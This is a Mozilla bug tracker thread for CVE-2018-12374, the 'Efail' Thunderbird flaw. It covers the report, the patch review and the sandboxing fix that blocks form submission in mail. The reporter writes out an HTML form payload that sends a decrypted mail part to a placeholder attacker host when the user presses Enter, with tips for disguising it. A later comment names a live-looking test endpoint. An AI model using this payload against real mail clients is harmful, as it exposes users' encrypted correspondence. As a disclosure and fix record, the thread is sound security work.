1462910 - (CVE-2018-12374) Efail: Using form to exfiltrate encrypted mail part by pressing enter in form field

Status: RESOLVED FIXED

(Thunderbird :: Security, defect)

Description

[Hanno Boeck]

Attachment: poc-efail-bypass-enter

One exfiltration method to exploit the efail vuln is to build a form with a textarea tag that contains an encrypted mail part.
However Thunderbird tries to prevent sending forms with data. Until Thunderbird 52.7.0 it was possible to send a form with a <buttom type="submit">. This was fixed in 52.8.0.

I found however another bypass that still works in 52.8.0 and that allows to send the form content with minor user interaction (actually, the user has to press "Enter" once).

A form can not only be sent by clicking, but also by pressing enter within a text input field.

So in order to exfiltrate an attacker can have a first HTML part like this:

<form action="https://[attackerhost]" method="GET">
<input type=text name="aa" value="press enter" autofocus>

<textarea name="bb">

Then comes the encrypted MIME part and then just a

</textarea></form>

to close the tags as the last mail part.

The autofocus makes sure after opening the mail the cursor is already in the text field. Pressing enter will cause a GET request that passes the whole content of the encrypted part to [attackerhost].

Obviously it's possible to try to redesign the mail in order to increase the chance to get an Enter press from the user. E.g. one can hide the textarea (opacity:0) and maybe think of plausible things to display that may cause a user to press enter.

In terms of better fixes, I believe allowing HTML forms to exist within HTML mails is a risky thing to begin with. Ideally I'd propose to filter out all form-related HTML tags before rendering a mail.
Apart from that I believe different parts of a mail shouldn't be rendered within one HTML context. (Though I heard that TB is already working on changing this.)
Furthermore I think it should be considered not allowing half-encrypted mails at all. Encryption should be an "all or nothing", i.e. displaying a mix of encrypted and unencrypted content seems inherently risky.

[1] https://hg.mozilla.org/comm-central/rev/48d7285be1417167d9e230f28b7c7a85db1f4a53

Comment 1

[Patrick Brunschwig]

I think the correct solution is really to ship TB with the patches of bug 1419417.

Comment 2

[Magnus Melin [:mkmelin]]

Thanks for filing. That's a way to submit we should also disable.

Should fix this, even if it's only a minor problem now (after bug 1419417) that parts are parsed separately.

Comment 3

[Daniel Veditz [:dveditz]]

Copying keywords from bug 1450345

Comment 4

[Ben Bucksch (:BenB)]

I think this is a DUPLICATE of bug 1462473.

Hanno, could you please confirm?

Comment 5

[Hanno Boeck]

No, not really. Bug 1462473 was about sending a form with a <button> element. This has been fixed in 52.8.

This one is about sending a form by pressing enter in a focused field. I think this is a separate issue that should be handled. It seems the intended goal of Thunderbird to not allow data to be send with HTML forms in mails, thus all bypasses should be fixed.

Comment 6

[Ben Bucksch (:BenB)]

Hi Hanno, could you please try a nightly build and see whether your issue is fixed?
https://archive.mozilla.org/pub/thunderbird/nightly/latest-comm-central/

Comment 7

[Magnus Melin [:mkmelin]]

It's not, just that it's a minor issue now: No data leak, but you could potentially trick someone to fill in some personal detail within a mail and submit to an obscure site.

Comment 8

[Magnus Melin [:mkmelin]]

Attachment: bug1462910_efail_form_bypass.patch

Prevent form submits.

Comment 9

[Jorg K (CEST = GMT+2)]

Comment on attachment 8981013 [details] [diff] [review]
bug1462910_efail_form_bypass.patch

Review of attachment 8981013 [details] [diff] [review]:
-----------------------------------------------------------------

::: mail/base/content/mailWindow.js
@@ +149,5 @@
> +  if (e.target.ownerDocument != sourceDoc) {
> +    return; // We're only interested if this is in the message content.
> +  }
> +  // Don't allow forms to be sumbitted.
> +  e.preventDefault();

Hmm, that can be written as:
if (e.target.ownerDocument == sourceDoc)
  e.preventDefault();

Can you please explain what sourceDoc and e.target.ownerDocument could be and give some examples.

Comment 10

[Ben Bucksch (:BenB)]

Comment on attachment 8981013 [details] [diff] [review]
bug1462910_efail_form_bypass.patch

1. Is there another way to fix this, by disallowing forms in the DocShell with nsIDocShell parameters?

2. Can you hook up the listener only for the message content pane? instead of the entire mail frontend window? For example, you have a msgWindow reference just a few lines above. Would be nice to be even more specific and hook it up only for the message content pane (not headers).

Comment 11

[Magnus Melin [:mkmelin]]

Comment on attachment 8981013 [details] [diff] [review]
bug1462910_efail_form_bypass.patch

Review of attachment 8981013 [details] [diff] [review]:
-----------------------------------------------------------------

Ah yeah I'll rework this somewhat

Comment 12

[Magnus Melin [:mkmelin]]

Attachment: bug1462910_efail_form_bypass.patch

Sandboxing forms seems to work. Still some more testing to do

Comment 13

[Ben Bucksch (:BenB)]

Comment on attachment 8981239 [details] [diff] [review]
bug1462910_efail_form_bypass.patch

This is the best approach. Thanks, Magnus!

Comment 14

[Magnus Melin [:mkmelin]]

Comment on attachment 8981239 [details] [diff] [review]
bug1462910_efail_form_bypass.patch

Review of attachment 8981239 [details] [diff] [review]:
-----------------------------------------------------------------

Did some more testing and this seems good.

Comment 15

[Jorg K (CEST = GMT+2)]

Comment on attachment 8981239 [details] [diff] [review]
bug1462910_efail_form_bypass.patch

Review of attachment 8981239 [details] [diff] [review]:
-----------------------------------------------------------------

::: mailnews/base/src/nsMsgContentPolicy.cpp
@@ +866,5 @@
> +    uint32_t sandboxFlags;
> +    rv = docShell->GetSandboxFlags(&sandboxFlags);
> +    sandboxFlags |= SANDBOXED_FORMS;
> +    NS_ENSURE_SUCCESS(rv, rv);
> +    rv = docShell->SetSandboxFlags(sandboxFlags);

Can you please explain what that does.

Comment 16

[Magnus Melin [:mkmelin]]

I'm adding the SANDBOXED_FORMS flag: "This flag blocks form submission."
https://dxr.mozilla.org/comm-central/rev/9055d9d89a4bca5cf48dda789299559aefca4e54/mozilla/dom/base/nsSandboxFlags.h#59

I believe it's primary use is to implement the CSP sandbox directive for webpages.
It makes trying to submit a form do nothing.

Comment 17

[Jorg K (CEST = GMT+2)]

How do you test this? The test case in attachment 8979029 [details] will already by mitigated by the fix from bug 1419417 since the open <textarea> tag should be closed.

Comment 18

[Magnus Melin [:mkmelin]]

You can still use it as a test case for if form submission is working or not, which is this bug. Just open the mail, notice you're autofocused in the input, press enter, and notice nothing happens.

If it's not working you'll get sent to https://q2.re/f.php?aa=press+enter....... 
But if you accidentally just click the input instead, you'll get sent to https://q2.re/f.php without any parameters.

Comment 19

[Jorg K (CEST = GMT+2)]

(In reply to Magnus Melin from comment #18)
> Just open the mail, notice you're autofocused in the
> input, press enter, and notice nothing happens.
Right, with the patch nothing happens, without it, the website opens in the external browser.

> But if you accidentally just click the input instead, you'll get sent to
> https://q2.re/f.php without any parameters.
Right, that's still the case, even with the patch. Is that intentional?

Comment 20

[Magnus Melin [:mkmelin]]

Yes, that's intentional. So that the user would not do anything with the form inside the mail, we send them to the form action url. Reasonably that should allow them to fill in. In case it actually is something legit. But then they can at least see which domain they are on and take normal precautions.

Comment 21

[Jorg K (CEST = GMT+2)]

Comment on attachment 8981239 [details] [diff] [review]
bug1462910_efail_form_bypass.patch

OK then.

Comment 22

[Jorg K (CEST = GMT+2)]

https://hg.mozilla.org/comm-central/rev/09e20d5562bd881d9743e77bc5d1ea85a466d758
Prevent form submits by sandboxing. r=BenB,jorgk

Comment 23

[Jorg K (CEST = GMT+2)]

TB 60 beta 7 (BETA_60_CONTINUATION branch)
https://hg.mozilla.org/releases/comm-beta/rev/e1dbd95de446240a71d0b4802edfc324e9ffa4d9

Comment 24

[Jorg K (CEST = GMT+2)]

TB 52.9:
https://hg.mozilla.org/releases/comm-esr52/rev/01b9a646acb304b209b781563b0aca92888832b5

Comment 25

[Jorg K (CEST = GMT+2)]

https://hg.mozilla.org/releases/comm-esr60/rev/005cf48066ae